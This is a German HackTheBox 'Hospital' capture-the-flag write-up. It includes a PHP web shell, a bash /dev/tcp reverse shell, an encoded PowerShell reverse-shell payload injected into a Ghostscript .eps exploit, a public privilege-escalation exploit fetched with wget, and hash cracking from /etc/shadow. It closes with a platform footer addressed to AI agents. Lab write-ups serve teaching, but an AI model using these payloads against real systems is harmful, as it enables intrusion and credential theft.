> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-medium/hospital-hackthebox-writeup.md).

# Hospital HackTheBox Writeup

Hospital HackTheBox Medium Windows-Maschine Writeup zu Web-Enumeration, Missbrauch von Datei-/Upload mit dem Tool p0wny-shell, Knacken eines geschützten Hash-Passworts, Dateikommandoinjektion vom Typ .eps, mit praktischer

{% embed url="<https://app.hackthebox.com/machines/Hospital>" %}

{% hint style="warning" %}
**Fähigkeiten:**

* Web-Enumeration
* Missbrauch des Datei-/Uploads mit dem p0wny-shell-Tool
* Knacken eines geschützten Hash-Passworts
* Datei-Befehlseinschleusung vom Typ .eps
* Domain-Privilegieneskalation
  {% endhint %}

## Aufklärung

**Arbeitsbereich einrichten:**

Richte den Arbeitsbereich ein, indem du drei Ordner erstellst, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3b8bf92cefb4da1fd17ba75ae834689ab49c45f9%2Fimage%20(1716).png?alt=media" alt=""><figcaption></figcaption></figure>

**VPN-Verbindungsprüfung**

Überprüfe die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielrechner sicherzustellen.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-431e1c66cbcc6a7be38f359b02eb96568aac7ddd%2Fimage%20(1717).png?alt=media" alt=""><figcaption></figcaption></figure>

**Offene Ports mit Nmap erkennen:**/ Offene Ports auflisten und die Ergebnisse in die Datei "allPorts" im Nmap-Verzeichnis exportieren:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.241 -oG allPorts
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-82a16613d9de68c0c100047f9738d12cd4932f72%2Fimage%20(1719).png?alt=media" alt=""><figcaption></figcaption></figure>

**Analyse offener Ports mit extractport:**/ Mithilfe der Funktion extractport offene Ports in kompakter Form anzeigen und in die Zwischenablage kopieren.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-be43716bde4a4787b4a6eaa8681f474031f2524e%2Fimage%20(1720).png?alt=media" alt=""><figcaption></figcaption></figure>

**Port- und Versionsscan mit Nmap:**/ Nmap verwenden, um Service-Versionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern:

```bash
nmap -sCV -p22,53,88,135,139,389,443,445,464,593,636,1801,2103,2105,2107,2179,3268,3269,3389,5985,6059,6404,6406,6407,6410,6617,6639,8080,9389 10.10.11.241 -oN targeted
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-48241df9ef95f363e3f1ef5f7197d90f2e0e5bb8%2Fimage%20(1721).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-76d5b7a06942792ae22143c2ebaa5d428ecc5f5a%2Fimage%20(1722).png?alt=media" alt=""><figcaption></figcaption></figure>

**Identifizierung der Schnittstelle von Port 443**

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a6c0dda1049423fd404da8decc44f48e898f7e98%2Fimage%20(1718).png?alt=media" alt=""><figcaption></figcaption></figure>

**Identifizierung der Schnittstelle von Port 8080**

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fd907fdbf0e5c036e78d4a0ac3d457f0efaf6ea0%2Fimage%20(1723).png?alt=media" alt=""><figcaption></figcaption></figure>

**Benutzererstellung:**

Erstellen eines Benutzers, um potenziellen Zugriff auf die Zielmaschine zu erlangen

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ec35ab183f3318cbddb0560b385beb5ca3cdac43%2Fimage%20(1724).png?alt=media" alt=""><figcaption></figcaption></figure>

## Datei-Upload-Schwachstelle:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-61c1801da13673adcb3e2cb0ccc568cbe591eadd%2Fimage%20(1731).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Initiale Ausnutzung:

Versuch, eine Datei-Download-Schwachstelle auszunutzen, indem eine bösartige PHP-Datei eingefügt wird

```php
<?php
system($_GET['cmd'];
?>
```

Der Server lehnt Upload-Anfragen für Dateien mit bestimmten Erweiterungen automatisch ab.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dc4687425ee40bc9e454d3a50b96eaeca9eefed4%2Fimage%20(1729).png?alt=media" alt=""><figcaption></figcaption></figure>

**Abfangen mit Burp Suite:**

Burp Suite verwenden, um den Verkehr abzufangen und zu analysieren, um Betriebsfehler zu verstehen

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6da7d7910cba561ef5997797fbf02941a08d0582%2Fimage%20(1730).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Änderung der PHP-Erweiterung:

Ändern Sie die Dateierweiterung von `.php` zu ändern `.phar` im `Dateinamen` Variable, und stellen Sie sicher, dass der Speicherort erfolgreich akzeptiert wird

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2e7d6341116fbaeae8fea142b5661ad2b0d4eb1a%2Fimage%20(2052).png?alt=media" alt=""><figcaption></figcaption></figure>

**Zusammenfassung der Verzeichnisse:**

Verwendung von Gobuster, um Verzeichnisse auf einem Webserver zu identifizieren und den Speicherort hochgeladener medizinischer Bilder zu finden.

```bash
gobuster dir -u http://10.10.11.241:8080/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-10dff5480345dabf263fad23fb094deec3b893fe%2Fimage%20(1726).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Datei nicht interpretiert:

Der Inhalt einer .phar-Datei wird nicht interpretiert.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-330d192dac2f6f6886a6b8cffd5e12ce28693afb%2Fimage%20(2053).png?alt=media" alt=""><figcaption></figcaption></figure>

**GitHub-Tool zum Erstellen einer Shell verwenden:**

Verwendung eines GitHub-Projekts, um PHP-Datei-Download-Beschränkungen zu umgehen und Shell-Zugriff zu erhalten

{% embed url="<https://github.com/flozz/p0wny-shell>" %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f781f00a4ee573fb4a06d7e8da79a531269acb1d%2Fimage%20(2054).png?alt=media" alt=""><figcaption></figcaption></figure>

**Eine Reverse Shell starten:**

```bash
/usr/bin/bash -c 'bash -i >& /dev/tcp/10.10.15.18/444 0>&1'
```

Führen Sie eine Reverse Shell aus, um interaktiven Zugriff auf die Zielmaschine herzustellen und vollständige Kontrolle zu erlangen.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-52d9479095b4eba6e62d55e1852029cbc115aead%2Fimage%20(2055).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Sobald Sie Zugriff auf den Linux-Server haben, führen Sie die folgenden Befehle für die Terminalbearbeitung aus:

```bash
script /dev/null -c bash
# Strg+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

## Privilegieneskalation (Linux-Server):

**Identifizierung der Betriebssystemversion:**/ Verwenden Sie den `cat /etc/os-release` Befehl, um die Systemversion zu überprüfen, beachten Sie die Präsenz einer alten Ubuntu-Version ("23.04").

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7e4fcf11b93b551466ee1f8dff4f75422f8b5b9f%2Fimage%20(1705).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Skript zum Entfernen von Privilegien herunterladen:**

Laden Sie das Skript von [GitHub](https://github.com/g1vi/CVE-2023-2640-CVE-2023-32629?source=post_page-----ce86940a895f--------------------------------), das eine Privilegieneskalation ermöglicht:

```bash
wget https://raw.githubusercontent.com/g1vi/CVE-2023-2640-CVE-2023-32629/main/exploit.sh
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2ab6dcec07a43e9149d884ca82bf31f5f5f5ebcf%2Fimage%20(1706).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Hash-Passwörter extrahieren:** Hash-Passwörter aus `/etc/shadow` Datei vorhanden sind.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-10ecbff1b7e2e4d5040849a650c27fda2921c3a5%2Fimage%20(1707).png?alt=media" alt=""><figcaption></figcaption></figure>

**Passwortknacken:**

Verwenden Sie das Tool John the Ripper mit einer bekannten Wortliste, um Passwörter zu knacken:

```bash
john -w:/usr/share/wordlists/rockyou.txt hash.txt
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8bd5dcb17d788b13cb51db8a83143777aa88818b%2Fimage%20(1708).png?alt=media" alt=""><figcaption></figcaption></figure>

## Schwachstelle: .eps-Datei-Injektion

#### Testen Sie die Anmeldedaten auf der über Port 443 erreichbaren Website.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7b273a5bfca06e73f71782791d84f2ed96cabfe5%2Fimage%20(1709).png?alt=media" alt=""><figcaption></figcaption></figure>

**Entdecktes eingeschränktes Postfach:**

Entdecken Sie ein E-Mail-Postfach, das ein Design im .eps-Format empfangen möchte.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-70ad865c9d7ad82954e23d1aaa4012cdcc581e3e%2Fimage%20(1710).png?alt=media" alt=""><figcaption></figcaption></figure>

**Ghostscript-Ausführung über .eps-Datei:**

Verwenden Sie ein [GitHub-Exploit](https://github.com/jakabakos/CVE-2023-36664-Ghostscript-command-injection/blob/main/CVE_2023_36664_exploit.py) basierend auf [Ghostscript](https://github.com/jakabakos/CVE-2023-36664-Ghostscript-command-injection/blob/main/CVE_2023_36664_exploit.py) um bösartigen Code über eine `.eps` Dateierweiterung auszuführen.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fe90f42a93cc828f43188e082f735e0bf630f60e%2Fimage%20(1659).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Verwenden Sie [RevShells](https://www.revshells.com/) um die PowerShell-Payload zu erstellen:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-82b3bac7a720f980225ac35dd975d47d620db3f0%2Fimage%20(1658).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Payload in .eps-Datei injizieren:

Verwenden Sie den Befehl, um die Payload mit der Reverse Shell in die .eps-Datei zu injizieren.

{% code fullWidth="true" %}

```bash
python3 exploit.py --inject --payload "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA2AC4AMgAiACwANAA0ADQANAApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=" --filename file.eps
```

{% endcode %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f2948bcf9bf533cf34d3985613e37b98d8a38046%2Fimage%20(1661).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Lauschen mit rlwrap:

Das Abhören mit rlwrap einrichten, um auf eine eingehende Verbindung zu warten.

```bash
rlwrap nc -nlvp 4444
```

#### Senden einer Mail mit bösartiger EPS-Datei:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e16c0fbab1dcf9c00ba2b847f53d87e7ee8c76ce%2Fimage%20(1662).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0e3cc495ddd3291f8bcbc68e3178a4eabc9e1243%2Fimage%20(1663).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

#### Entdeckung einer ghostscript.bat-Datei:

Entdeckung einer ghostscript.bat-Datei, die das Passwort von "drbrown" enthält: `chr!$br0wn`

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1d78ce52b7d073c6188dd191af59e5dd5a331908%2Fimage%20(1664).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Erste Flagge user.txt:

Entdeckung und Wiederherstellung der ersten Flagge user.txt.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c9ed88abedc25a1203d21c40c06ac7a0f7996d76%2Fimage%20(1665).png?alt=media" alt=""><figcaption></figcaption></figure>

## Privilegieneskalation Active Directory:

#### Privilegieneskalation durch den Wechsel zum XAMPP-Webserver.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ca542b0abd592ee486af3441bb0ebdc5f9ba10e6%2Fimage%20(1666).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Eine PHP-Datei erstellen:

Erstellen Sie eine PHP-Datei mit dem Code "this is a test".

```bash
echo "this is a test" > test.php
```

#### Überprüfung des Webservers:

Überprüfen Sie, ob der Webserver die PHP-Datei korrekt einfügt.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a7553f85192b95da5ca44ffbe88192bda2f68932%2Fimage%20(1667).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Fügen Sie die PHP-Datei erneut aus dem [p0wny-shell](https://github.com/flozz/p0wny-shell) Projekt ab:

{% embed url="<https://github.com/flozz/p0wny-shell>" %}

<pre class="language-bash"><code class="lang-bash">python3 -m http.server 8080

<strong>wget http://10.10.16.2:8080/shell.php -o shell.php
</strong></code></pre>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f287d67a45d95626f4d0ea20fa4f99542ade0e38%2Fimage%20(1670).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b678477ce87d6b3168c156c3e0b9973a9ce69bfb%2Fimage%20(1671).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Kopieren Sie das [Reverse Shell](https://www.revshells.com/) Payload in das pownyshell-Terminal:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-39a50fd8797cf16669ffc25d1b0fb74e78e5b117%2Fimage%20(1672).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Lauschen mit rlwrap:

```bash
rlwrap nc -nlvp 4444
```

### root.txt-Flag erhalten:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d5fed32d98c5bdfe717d0e06f6f8c49681eb3090%2Fimage%20(1674).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ff440b03c94bcc24b75e39d9eef0b09f35003548%2Fimage%20(1409).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-medium/hospital-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
